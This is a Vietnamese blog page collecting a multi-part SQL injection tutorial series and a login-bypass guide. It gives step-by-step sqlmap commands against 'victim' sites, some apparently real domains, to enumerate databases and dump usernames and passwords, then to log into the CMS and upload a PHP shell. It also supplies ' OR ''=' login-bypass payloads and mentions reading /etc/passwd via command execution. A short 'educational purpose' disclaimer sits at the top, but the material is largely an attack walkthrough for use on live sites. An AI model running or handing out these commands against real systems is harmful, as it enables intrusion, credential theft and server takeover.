Keyz Cenly Blog

SQL Injection Attack part.3 (End)

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7pYrSeZMo9BGuRqxEVQ2Gnhr0Mqap3NhoXXWlHZ3YSDMdcnBaPS9Ser6xJs20R0hOmFxfLCipzxPKan5JsocjcZ1_jYx8i-Yx1SLxalcyGgLO6dtH1rQD_6ff6McuoAZ8jTlgR2qaHlo3/s1600/kd_sqlia_classification_2010.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7pYrSeZMo9BGuRqxEVQ2Gnhr0Mqap3NhoXXWlHZ3YSDMdcnBaPS9Ser6xJs20R0hOmFxfLCipzxPKan5JsocjcZ1_jYx8i-Yx1SLxalcyGgLO6dtH1rQD_6ff6McuoAZ8jTlgR2qaHlo3/s1600/kd_sqlia_classification_2010.png" width="466" /></a></div>
Đọc Thêm: 
- <a href="http://keyzcenly.blogspot.com/2014/07/sql-injection-attack-part1.html" target="_blank">SQL Injection Attack part.1</a> 
- <a href="http://keyzcenly.blogspot.com/2014/07/sql-injection-attack-part2.html" target="_blank">SQL Injection Attack part.2</a></div>

SQL Injection Attack part.3 (End)

Đọc Thêm: - SQL Injection Attack part.1 - SQL Injection Attack part.2

SQL Injection Attack part.2

<div dir="ltr" style="text-align: left;" trbidi="on">
<h2>
PHẦN 2: NƠI MÀ BẠN QUYẾT ĐỊNH ĐỂ XÂM NHẬP LÀ…?</h2>

10 điều “cần” và “phải” biết đã đề cập trong phần 1: 

<blockquote>
Identifying injectable parameters - Performing database finger-printing - Determining database - Extracting data - Adding or modifying data - Performing denial of service - Evading detection - Bypassing authentication - Executing remote - Performing privilege escalation</blockquote>

<a href="https://securityforall.wordpress.com/2012/07/19/sql-injection-la-gi/" target="_blank">https://securityforall.wordpress.com/2012/07/19/sql-injection-la-gi/</a> (Phần 1) 

Trong phần 2 này, mình sẽ chỉ tập trung vào việc “Identifying injectable parameters” (nghĩa là: Xác định tham số có thể chèn SQL Injection) từ cơ bản đến hơi hơi nâng cao. 

1.URL 

2. HTTP Header 

3. Cookie 

4. Forms (HTTP body) 

<h2>
1.URL</h2>

<a href="http://victim.com.vn/index.php?option=com_content&view=category&layout=blog&id=12" rel="nofollow">http://victim.com.vn/index.php?option=com_content&view=category&layout=blog&id=12</a> 

Phân tích: Đây là website có CMS là Joomla (chúng ta sẽ ưu tiên những tham số có giá trị dạng number, ở đây ta có id=12) 

<div style="text-align: left;">
<a href="http://victim.com.vn/index.php" rel="nofollow">http://victim.com.vn/index.php</a></div>

<div style="text-align: left;">
?option=com_content <———- có thể ở đây bị lỗ hổng chăng?</div>

<div style="text-align: left;">
&view=category <———- có thể ở đây bị lỗ hổng chăng?</div>

<div style="text-align: left;">
&layout=blog <———- có thể ở đây bị lỗ hổng chăng?</div>

<div style="text-align: left;">
&id=12 <———- có thể ở đây bị lỗ hổng chăng?</div>

Sau khi mình thêm ký tự ‘ vào sau id=12 thì xuất hiện: 

Warning: Invalid argument supplied for yyy() in /var/www/xxxxxxxxxxxxx/galery.php on line 22 

Dòng chữ có màu này là thông tin đã bị thay đổi để bảo đảm an toàn cho server <img alt=":D" src="https://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif?m=1129645325g" /> 

Vậy ta chắc chắc một điều rằng: parameter id là nơi có thể chèn lệnh SQL vào. Nếu bạn không chuyên nghiệp hay mù tịt về  SQL Query thì dùng SQLMAP nào. 

(Mánh: các parameter thường thấy trong việc khai thác là id cid gid videoid viewid v.v… (vì những tham số này sẽ là các truy vấn vào database) hoặc các bạn google với keyword : dork sql injection) 

<blockquote>
sqlmap.py -u “http://victim.com.vn/index.php?option=com_content&view=category&layout=blog&id=12″ -p id -v 3 –dbs</blockquote>

<img alt="" class="aligncenter" height="68" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/url.jpg" width="620" /> 

-p id | là chỉ rõ ra paremeter có thể tấn công 

-v 3 | hiện thông tin truy vấn ra màn hình 

–dbs | dò tìm những database trên server 

Khi khai thác thành công, kết quả có dạng như hình sau 

<img alt="" class="aligncenter" height="249" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/dbs2-1.jpg" width="620" /> 

<h2>
2.HTTP Header</h2>

Ở phần này, chúng ta sẽ cần đi sâu hơn vào giao thức HTTP. Để 
thấy những thông tin mình sắp giới thiệu bên dưới, Các bạn nên dùng 
Wireshark để bắt gói tin. 

GET / HTTP/1.1 
Connection: Keep-Alive 
Keep-Alive: 300 
Accept:*/* 
Host: <a href="http://www.minhtamnw.com/" rel="nofollow">http://www.minhtamnw.com</a>
X_FORWARDED_FOR :111.222.333.444 <——— Có thể chèn SQL Injection ở đây
Referer: <a href="http://www.minhtamnw.com/index.php%C2%A0" rel="nofollow">http://www.minhtamnw.com/index.php </a><——— Có thể chèn SQL Injection ở đây 
Accept-Language: en-us 
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;  rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E) <——— Có thể chèn SQL Injection ở đây
Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134 <——— Có thể chèn SQL Injection ở đây (chúng ta sẽ bàn luận ở phần sau) 

<img alt="" class="aligncenter" height="83" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/user-agent.jpg" width="620" />  
 

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLGM1LmpOciVBENFNcRoRdkEnoNmbC08Zb_8pfiolgGSaU-XEqgcQodjQYcSY2ek4G3n94eKFbgUWSpt6Iy44kAwz0Hu-9MpqSRGPNQjAVa_ncNe2TRmtj8-JNDdL_WMKFUYDqRXbhrQ41/s1600/user-agent2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="306" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLGM1LmpOciVBENFNcRoRdkEnoNmbC08Zb_8pfiolgGSaU-XEqgcQodjQYcSY2ek4G3n94eKFbgUWSpt6Iy44kAwz0Hu-9MpqSRGPNQjAVa_ncNe2TRmtj8-JNDdL_WMKFUYDqRXbhrQ41/s1600/user-agent2.jpg" width="640" /></a></div>
 

<h2>
3. Cookie</h2>

<img alt="" class="aligncenter" height="214" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/030612_0226_Cookiebased1.jpg" width="601" /> 

Bạn có bao giờ đăng nhập vào một website nào đó | tắt modem | mở lại 
modem (IP Public đã thay đổi)| Khi có mạng trở lại, bạn vẫn vào website 
đó mà không cần gõ user/password để đăng nhập nữa. 

Chính cookie đã lưu thông tin về phiên làm việc của bạn tại máy tính 
cá nhân.| Đây là một trong các ứng dụng của cookie trong giao thức HTTP.
 Trong bài viết này, tôi không bàn nhiều về cookie là gì, mà chúng ta sẽ
 chuyển qua giai đoạn khai thác. 

<img alt="" class="aligncenter" height="397" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/cookie2.jpg" width="600" /> 

sqlmap.py -u “http://quantrimang.com.vn” –cookie=ASP.NET_SessionId=gxrxx4ejl202n2viyvebbx45 -p ASP.NET_SessionId –level 3 -v 4 

<img alt="" class="aligncenter" height="139" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/cookie22.jpg" width="620" /> 

Ngoài ra, các bạn có thể dùng add-on<a href="https://addons.mozilla.org/vi/firefox/addon/live-http-headers/" target="_blank"> Live HTTP headers</a> dùng trên Firefox để carpture các header của gói tin. 

<h2>
4.FORMS (HTTP BODY)</h2>

<a href="https://minhtamnw.files.wordpress.com/2012/05/cookie.jpg" target="_blank"> 
</a>Một cách dễ hiểu hơn là chúng ta sẽ chèn truy vấn vào nội dung của gói tin, ví dụ hình sau: 

<img alt="" class="aligncenter" height="119" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/forms1.jpg" width="500" /> 

một trang web có thể có rất nhìu form bao gồm thấy được và không thấy được và chúng ta sẽ chèn những truy vấn vào những ô này. 

một vài thông tin: giao thức HTTP khi gởi dữ liệu từ phía client lên 
server sẽ dùng phương thức POST. Vì vậy trước khi tấn công loại này, 
chúng ta cần biết một trang web sẽ gởi đi những gì sau khi chúng ta nhấn
 nút “Đăng nhập”. Chúng ta vẫn sẽ dùng Live HTTP headers để phân tích 

<img alt="" class="aligncenter" height="239" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/post1.jpg" width="620" /> 

Với dạng này, ta sẽ dùng sqlmap khai thác như sau: 

<blockquote>
sqlmap.py -u “http://www.victim.com.vn/index.php” –data “user_id=injectionhere&password=injectionhere&button=%C4%90%C4%83ng+nh%E1%BA%ADp” -p user_id,password –level 3 -v 3 –dbs</blockquote>

tham số –data “dữ liệu vào” : tại đây chúng ta chỉ định dữ liệu và 
phụ thuộc vào tên của form, ví dụ ta có form user_id và password thì cả 2
 phải được điền vào như là một gói tin đầy đủ,(tránh bị server reject do
 không đủ dữ liệu) 

-p user_id,password : tiến hành kiểm tra trên 2 tham số chỉ định 

~~~~~~~~~~~~~~~~~~~~~~~ 
 

còn tiếp…</div>

SQL Injection Attack part.2

PHẦN 2: NƠI MÀ BẠN QUYẾT ĐỊNH ĐỂ XÂM NHẬP LÀ…? 10 điều “cần” và “phải” biết đã đề cập trong phần 1: Identifying injectable parameters...

SQL Injection Attack part.1

<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<blockquote>
<blockquote class="tr_bq">
<h4 style="text-align: left;">
Bạn chuẩn bị đọc một loại lỗ hổng nguy hiểm bậc nhất thế giới!</h4>
 | có hơn 9.680.000 kết quả do google trả về với từ khóa “SQL Injection” | 
 | vì vậy mình sẽ không đi sâu vào cơ chế hay giới thiệu nó là gì? | 
 | đây là những kinh nghiệm cũng như công cụ để khai thác | 
 | và quan trọng là vì mục đích giáo dục | 
 |không dùng để xâm nhập và phá server vì mục đích mũ đen hay mang tính thương mại| 
 ———————————</blockquote>
</blockquote>
 
<ul>
<li>SQL Injection được <a href="https://www.owasp.org/">OWASP</a> (là một tổ chức phi lợi nhuận tại Mỹ chuyên nghiên cứu, đánh giá và phát triển những ứng dụng web) đánh giá với mức độ nguy hiểm cực kỳ cao và phương thức khai thác thì cực kỳ dễ @_@.</li>
<li>Bảng báo cáo đánh giá về những phương thức tấn công năm 2010 do OWASP xuất bản bạn có thể tham khảo tại  [<a href="http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf" target="_blank">Tiếng Anh</a>]  [<a href="http://owasptop10.googlecode.com/files/OWASPTop%2010%20-%202010%20Vietnamese.pdf" target="_blank">Tiếng Việt</a>] </li>
</ul>
</div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRFg3atL-aLbD4DRIazFFGY0kzQiKBgNrl_F4a-qoL-eC9pd0Y7kETl4DjBT8IwpPNnJnL6tH28dZWpAdcL3MOjy-1VZt87ffjlBkVvtRWPtcCDj7QswQTNEgCACVKTaBltvG3-qstR6SR/s1600/owasp1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Khai Thác SQLi" border="0" height="244" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRFg3atL-aLbD4DRIazFFGY0kzQiKBgNrl_F4a-qoL-eC9pd0Y7kETl4DjBT8IwpPNnJnL6tH28dZWpAdcL3MOjy-1VZt87ffjlBkVvtRWPtcCDj7QswQTNEgCACVKTaBltvG3-qstR6SR/s1600/owasp1.jpg" title="Khai Thác SQLi" width="640" /></a></div>
<h2>
I.Phân tích trước khi “xâm phạm server”</h2>

<h3>
10 điều “cần” và “phải” biết:</h3>

<ul>
<li>Identifying injectable parameters: tìm ra những tham số nào có thể là nguy cơ để mình khai thác (mình sẽ phân tích ở phần tiếp theo)</li>
<li>Performing database finger-printing: xác định Loại và Phiên bản của database để đưa ra hướng tấn công thích hợp (MySQL – MSSQL – MSAccess – Oracle ….)</li>
<li>Determining database schema: “database schema” hay có thể xem là CƠ SỞ DỮ LIỆU CỦA CƠ SỞ DỮ LIỆU >> database schema lưu trữ những thông tin về toàn bộ thông tin database của một server. Hoặc có thể hiểu rằng, database schema chứa tên user/password/quyền/số lượng cơ sở dữ liệu/…. (nhưng nó không chứa data của cơ sở dữ liệu.)
<ul>
<li>Ví dụ: Server của tôi có 5 databases (bao gồm minhtamnw1 minhtamnw2 
… minhtamnw5) và tương ứng có một cặp user/password tương ứng 
(user1/password1 …. user5/password5). Vậy những thông tin về số lượng 
database|user|password|quyền trên từng database|… sẽ được 
imfomation_schema trên MySQL lưu trữ. Vì vậy tìm ra “database schema” 
của từng loại Database là rất quan trọng.</li>
</ul>
</li>
<li>Extracting data: Đây chính thức là bước “ăn cắp thông tin” của server. Toàn bộ sẽ dần hiện ra $_$ – quan trọng là user|password để đăng nhập vào <a href="http://minhtamnw.wordpress.com/2012/05/16/cms/" target="_blank">CMS</a> của server. Tại bước này là Read-Only | chỉ có thể đọc toàn bộ cơ sở dữ liệu.</li>
<li>Adding or modifying data: bước này sẽ quyết định bạn có thể thêm bớt vào DB không | Xem hình dưới:</li>
</ul>

<img alt="" class="aligncenter" height="217" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/insertable.jpg" width="559" />

<div style="text-align: center;">
Ví dụ: Database là MySQL + WebPlatform là PHP = Kết quả: không thể ghi hoặc xóa lên database nạn nhân.</div>

<ul>
<li>Performing denial of service: Làm sập server thông qua lỗi SQLINjection (tham khảo <a href="http://www.rootrulerz.com/2011/07/anonymous-back-again-refref-for-dos.html" target="_blank">TẤN CÔNG THEO PHƯƠNG PHÁP REFREF</a>)</li>
<li>Evading detection: dùng những “cheat” để không bị phát hiện (detection) cững như bị ghi lại hoạt động (auditing)</li>
<li>Bypassing authentication: vượt quyền để có thể toàn quyền trên server.</li>
<li>Executing remote commands: Điểm đặc biệt của SQL-Injection là có thể thực thi command của OS.
<ul>
<li>Ví dụ: LINUX OS BASE: ls | cat /etc/passwd | useradd | … — WINDOWS OS BASE: net user | dir c:\ | query session | …</li>
</ul>
</li>
<li>Performing privilege escalation: Xác định quyền tối cao của current-user thông qua những lỗi mà server trả về. Bước  này ít quan trọng.</li>
</ul>

<h2>
II. Những phong cách “khai thác” của SQL-Injection</h2>

<h3>
Có 05 loại chính: BEUST</h3>

Boolean-based blind SQL injection, còn được biết như là inferential SQL injection. 

Error-based SQL injection. 

UNION query SQL injection. 

Stacked queries SQL injection. 

Time-based blind SQL injection, còn được biết như làs full blind SQL injection. 

Tùy vào mỗi loại sẽ có một phương pháp riêng để khai thác. Trong bài 
viết này, mình không tập trung nhiều vào cơ chế, mà sẽ tiếp tục qua phần
 khai thác thực tế. (Tham khảo thêm tại <a href="http://sqlmap.sourceforge.net/doc/README.html#ss1.3" target="_blank">ĐÂY</a>) 

<h2>
III.Tấn công thực tế</h2>

Toys (Tools): Trên nền tảng Windows 

PYTHON 2.6 hoặc 2.7 | DOWNLOAD: <a href="http://www.python.org/ftp/python/2.7.3/python-2.7.3.msi" target="_blank">Windows 32bits</a>  -  <a href="http://www.python.org/ftp/python/2.7.3/python-2.7.3.amd64.msi" target="_blank">Windows 64bits</a> 

SQLMAP | <a href="http://sqlmap.sourceforge.net/" target="_blank">DOWNLOAD</a> 

Cấu trúc URL: 

<blockquote>
<a href="https://minhtamnw.wordpress.com/wp-admin/post.php?post=32&action=edit&message=10" rel="nofollow">https://minhtamnw.wordpress.com/wp-admin/post.php?post=32&action=edit&message=10</a>

<ol><ul>
<li>https: Protocol</li>
<li>minhtamnw.wordpress.com: Tên miền</li>
<li>/wp-admin: đường dẫn</li>
<li>/post.php: Filename.Extention</li>
<li>? : sau dấu ? sẽ là biến và giá trị biến</li>
<li>post=32&action=edit&message=10  : biến post có giá trị 32, mỗi biến cách nhau bởi dấu &</li>
</ul>
</ol>
</blockquote>

Khai thác: Cài đặt Python và giải nén sqlmap vào C:\ như hình 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnROAe85zEkZeODpUp8em2ce6CZA4-VpJCgTsZ8eySTBhr9vsGrPu9zuz1nypgB5U1qZfRtgX1pWMcPA6H480WXxdL4dp89xdaGrIegpbY8HZhTBxLljJT9pJRGuNlu6lzg_qAw-ADy6hl/s1600/sqlmap.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Khai Thác SQLi" border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnROAe85zEkZeODpUp8em2ce6CZA4-VpJCgTsZ8eySTBhr9vsGrPu9zuz1nypgB5U1qZfRtgX1pWMcPA6H480WXxdL4dp89xdaGrIegpbY8HZhTBxLljJT9pJRGuNlu6lzg_qAw-ADy6hl/s1600/sqlmap.jpg" title="SQLi" width="640" /></a></div>
Victim: <a href="http://www.victim.com/content/banin.php?id=1" rel="nofollow">http://www.victim.com/content/banin.php?id=1</a> 

sqlmap.py -u “http://www.victim.com/content/banin.php?id=1″ -p id -v 3 –dbs –no-cast 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbxigNCS7nUz1HJp-q7OXJmkPU-XgQ7TANoznjFFPYKFLP9qlYU49e3xB0SUwstEk5PxDzYU3HUtJeYkr0pzHM12LAAGwN5g5fr0wMAwktacQW3jvA3rsKwG7mPQ3LkKc3fpajv1JPaJX5/s1600/attention2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="92" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbxigNCS7nUz1HJp-q7OXJmkPU-XgQ7TANoznjFFPYKFLP9qlYU49e3xB0SUwstEk5PxDzYU3HUtJeYkr0pzHM12LAAGwN5g5fr0wMAwktacQW3jvA3rsKwG7mPQ3LkKc3fpajv1JPaJX5/s1600/attention2.jpg" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPs0RKwQO-ccePKKDKXdAe9BqUL4wvPvRVJtnFHpooNLQpY-kzhuIVabrDZ-Vsr5x5XxtHGmFpFuoNDIL23DF7XDgNziLVEME7v9c4hywAoiaIQ1ABiMCG9fcHCwWybzjGYQbrTwza4o6m/s1600/dbs2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPs0RKwQO-ccePKKDKXdAe9BqUL4wvPvRVJtnFHpooNLQpY-kzhuIVabrDZ-Vsr5x5XxtHGmFpFuoNDIL23DF7XDgNziLVEME7v9c4hywAoiaIQ1ABiMCG9fcHCwWybzjGYQbrTwza4o6m/s1600/dbs2.jpg" width="640" /></a></div>
 
sqlmap.py -u “http://www.victim.com/content/banin.php?id=1″ -p id -v 3 -D database_found –tables –no-cast 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsjN-pBz8QEQJUDaYHMiy7b9CzoHuIEFAQEPtTH3HUhSZRWX5nHupaixdn6-7nHm3sNUTjzjVKGBTmd70ks5k_Or5MX_EOa6OAV10lpCFfyTwbB5I3G-Y2i4ksNPJxE3u75UNlCfSSlUbk/s1600/tablesmisc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsjN-pBz8QEQJUDaYHMiy7b9CzoHuIEFAQEPtTH3HUhSZRWX5nHupaixdn6-7nHm3sNUTjzjVKGBTmd70ks5k_Or5MX_EOa6OAV10lpCFfyTwbB5I3G-Y2i4ksNPJxE3u75UNlCfSSlUbk/s1600/tablesmisc.jpg" width="364" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP-HRiGovuGk5oRVUnXFWcMKYYV0-XdTpZL9pycjDK1ogVpOQiNx1DDe-_iKyysk7ltcPOmCYqpMdRs6w0lL6ecrP-CPXWkQ0po5xR4j10eYAEgFN3dBU95uEizq8OI7z0WNT4GYQ7rFrD/s1600/tables.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP-HRiGovuGk5oRVUnXFWcMKYYV0-XdTpZL9pycjDK1ogVpOQiNx1DDe-_iKyysk7ltcPOmCYqpMdRs6w0lL6ecrP-CPXWkQ0po5xR4j10eYAEgFN3dBU95uEizq8OI7z0WNT4GYQ7rFrD/s1600/tables.jpg" width="640" /></a></div>
 sqlmap.py -u “http://www.victim.com/content/banin.php?id=1″ -p id -v 3 -D database_found -Ttbl_user –columns –no-cast 
<img alt="" class="aligncenter" height="179" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/columns.jpg" width="520" /> 

sqlmap.py -u “http://www.victim.com/content/banin.php?id=1″ -p id -D  database_found -Ttbl_user –columns -C  user_name,user_password –dump –no-cast 

<img alt="" class="aligncenter" height="100" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/userpassword.jpg" width="520" /> 

Và bây giờ, chúng ta sẽ đăng nhập vào CMS của site nạn nhân và upload 1 shellcode_PHP để có thể điểu khiển được server 

<img alt="" class="aligncenter" height="272" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/shell-1.jpg" width="620" /> 

Kết quả: Sau khi tìm thấy lần lượt DATABASE > TABLE > COLUMNS > DATA ,
 ta có thể dùng chúng để đăng nhập và những CMS để thực hiện hành vi đen
 tối $_@. Trên đây chỉ là những hướng dẫn rất cơ bản để các bạn có thể 
hình dung được SQL INJECTION là gì và nó nguy hiểm như thế nào. Trong 
những bài viết tiếp theo, mình sẽ đi sâu hơn vào 10 điều “cần” và “phải” biết như đã đề cập ở đầu bài viết. 
 

còn tiếp…</div>

SQL Injection Attack part.1

Bạn chuẩn bị đọc một loại lỗ hổng nguy hiểm bậc nhất thế giới! | có hơn 9.680.000 kết quả do google trả về với từ khóa “ SQL Inj...

SQL Injection: bypass login page

<div dir="ltr" style="text-align: left;" trbidi="on">
Bypass login page : 
<h2 style="text-align: left;">
1 Background </h2>
<h4>
</h4>
Trước khi đọc tài liệu này, bạn
 nên có một khái niệm cơ bản về cơ sỡ dữ liệu và cách SQL được dùng để 
truy xuất chúng. Tôi xin giới thiệu các bạn tài liệu "Introduction to 
Database for Web Developers" của eXtropia.com tại địa chỉ 
http://www.extropia.com/tutorials/sql/toc.html 
<h3 style="text-align: left;">
1.1 Tìm kiếm lổ hổng :</h3>
<h4>
</h4>
Bàn luận Thật
 tế việc kiểm tra lỗi SQL Injection của một web application cần nhiều nỗ
 lực hơn mọi người tưởng. Thật là tốt đẹp nếu như ngay khi bạn thêm một 
dấu single quote (') vào gía trị của tham số đầu tiên trong một script 
và server trả lại một trang trắng với một lỗi ODBC trên đó, nhưng thật 
tế đó thì không phải đơn giản như vậy. Thật là dễ dàng để bỏ qua một 
đoạn script bị lỗi SQL Injection nếu như bạn không chú ý kỹ đến từng chi
 tiết. Mọi tham số của mọi script trên server phải luôn luôn được 
kiểm tra một cách cẩn thận. Trong các appllication, programmer A viết 
script A có thể không cần quan tâm gì đến script B được phụ trách bởi 
programmer B , và khi script B bị phát hiện là có lỗi, người chịu trách 
nhiệm chính là anh B, anh A không liên quan gì hết. Thật tế, một 
programmer làm việc với Function A trong script A có thể không liên quan
 đến Function B ngay trong Script A, vì thế nếu một tham số trong script
 A có lỗi thì chưa chắc những tham số còn lại cũng có lỗi. Ngay cả khi 
nguyên cả một web applcation chỉ do một programmer độc lập thiết kế, 
viết code, kiểm tra, nhiều khi chỉ có một tham số có lỗi trong hàng ngàn
 các tham số, đơn giản là vì programmer đó quên kiểm tra data ở chỗ đó 
và chỉ ở chỗ đó mà thôi. Bạn không bao giờ có thể chắc chắn. Kiểm tra 
mọi thứ không bao giờ thừa. 
<h2 style="text-align: left;">
2. Tiến hành kiểm tra : </h2>
<h4>
</h4>
Thay thế giá
 trị của từng tham số bằng một dấu nháy đơn (single quote) (') và một từ
 khoá của SQL ( ví dụ như "' WHERE"). Mỗi tham số phải được kiểm tra một
 cách riêng lẻ. Không những thế, khi kiểm tra từng tham số, phải không 
thay đổi của các tham số khác, và truyền cho chúng các giá trị hợp lệ. 
Nhiều người thường loại bỏ tất cả các tham số khác chỉ để lại tham số mà
 họ cần kiểm tra nhằm mục đích làm cho mọi việc trở nên đơn giản hơn, 
nhất là đối với các application có các tham số gồm mấy nghìn ký tự. Làm 
như vậy là sai lầm. Loại bỏ các tham số còn lại hoặc truyền cho chúng 
các giá trị không thích hợp khi bạn đang kiểm tra một tham số khác sẽ 
làm cho applcation xử lý theo cách khác, điều này ngăn cản bạn kiểm tra 
xem applcation đó có bị lỗi hay không. Để cho dễ hiểu hơn, mời các bạn 
xem qua ví dụ sau đây: giả sử một website có một "Feedback" appllication
 để bạn có thể liên lạc với webmaster của website đó. Nếu bạn muốn 
submit cái Feedback form này thì bạn phải điền vào tên và email của 
mình, giả sử như hai giá trị đó được lưu vào hai biến là $ContactName và
 $email. Bạn đã kiểm tra và nhận thấy rằng biến $Contactname không có 
lỗi, và bây giờ bạn muốn kiểm tra xem tham số "email" có lỗi hay không, 
bạn submit dòng giá trị không hợp lệ "ContactName=mArmIrO&email=' 
OR". Với dòng giá trị không hợp lệ, Feedback form sẽ phát sinh một lỗi 
ODBC và từ đó bạn có thể khẳng định chắc chắn là Feedback form đó có lỗi
 SQL Injection ở biến $email, tuy nhiên nếu bạn submit dòng giá trị tham
 số sau: "ContactName=BadContactNameValue&email='" thì có thể bạn sẽ
 không nhận được gì cả để có thể kết luận là có lỗi hay không. Đơn giản 
là nhiều khi programmer viết cái Feedback đó quy định nếu tham số 
$ContactName không có giá trị hoặc có giá trị không hợp lệ, thì sẽ gán 
$ContactName="Guess" và như thế bạn sẽ bỏ qua cái Feedback form vì cho 
rằng nó không có lỗi. Tới đây, có thể kết luận rằng điều cần phải nhớ 
khi kiểm tra SQL Injection là luôn luôn sử dụng tất cả các tham số, 
truyến cho chúng các giá trị hợp lệ ngoại trừ tham số bạn cần kiềm tra. 
Hãy nhớ câu nói cửa miệng của Rain Forest Puppy: "All is not lost". 
<h3 style="text-align: left;">
2.1 Thu nhận kết quả : </h3>
<h4>
</h4>
Nếu
 như bạn nhận được một database server error thì chắc chắn rằng bạn có 
thể sử dụng SQL Injection để tấn công. Tuy nhiên, không phải lúc nào các
 database server error cũng rõ ràng cả. Mỗi developer đều có một cách 
viết code và một cách xử lý các error theo một cách riêng của họ, do đó 
bạn phải tìm kiếm thực kỹ các chứng cứ chứng tỏ rằng có thể sử dụng sql 
injection. Việc đầu tiên mà bạn cần làm là xem source của returned page (
 page return lại khi bạn submit một dòng giá trị tham số không hợp lệ) 
để tìm kiếm các từ như "ODBC","SQL SERVER","Syntax"...Nhiều khi các chi 
tiết của error được lưu vào các hidden input, hoặc các comment...Kiểm 
tra luôn phần header và các link trên returned page, chú ý đến "302 page
 redirect", "500 Internal Server error page". 
<h2 style="text-align: left;">
3. Tấn công </h2>
<h3>
</h3>
<h3 style="text-align: left;">
3.1 Vuợt qua các login page </h3>
<h4>
</h4>
<h4 style="text-align: left;">
3.1.1 Kỹ thuật "or" </h4>
<h4>
</h4>
Kỹ
 thuật đơn giản nhất của SQL Injectin là kỹ thuật vượt qua các login 
page hay còn gọi nôm na là kỹ thuật "or". Giả sử có một file login.asp 
như sau: 
<blockquote class="tr_bq">
query="SELECT Username form Users WHERE Username='" & strusername & "' AND password ='"&strpassword & "'" result=GetQueryResult(query) If result="" Then user=false else user=true end if ...... </blockquote>
Nếu
 hai biến strusername và strpassword có thể chứa tất cả các ký tự , bạn 
có thể chỉnh sửa câu lệnh SQL, từ đó bạn có thể login vào một cách dễ 
dàng. Làm việc đó như thế nào ? Bạn chỉ cần submit các giá trị: Login:' OR "=' Password:' OR "=' Khi đó câu lệnh SQL sẽ trở thành 
<blockquote class="tr_bq">
SELECT Username FROM Users where Username="" OR "=" AND password=" OR "=" </blockquote>
Câu
 lệnh SQL trên một khi được thi hành sẽ trả về giá trị đầu tiên của 
field (trường) Username trong table(bảng) Users, và do đó bạn sẽ nghiễm 
nhiên có mọi quyền của user đó, nên nhớ là user đầu tiên của một web 
application thường có quyền admin. Chú ý : kỹ thuật "or" sẽ không sử
 dụng được trong trường hợp câu lệnh query được chuyển tới cho một 
"stored procedure" xử lý, đơn giản vì SQL query khi được chạy trong một 
"stored procedure" không thể là một câu điều kiện, do đó sự xuất hiện 
của "or" sẽ làm phát sinh một syntax error. "Stored procedure" có trong 
các database server như MSSQL, Oracle, Postgres, không có trong MySQL. 
<h4 style="text-align: left;">
3.1.2 Kỹ thuật ";--": </h4>
<h4>
</h4>
Trước
 tiên, xin bàn đến việc khi nào thì một câu lệnh query kết thúc. Đối với
 đa số database server, một câu lệnh query kết thúc khi gặp dấu ";", tuy
 nhiên có một số điểm cần lưu ý. MySQL không hỗ trợ multiple select ( 
hãy đọc TODO list của MySQL ), do đó đối với câu lệnh: 
mysql_query("select * from table1;select * from table2")MySQL chỉ thực 
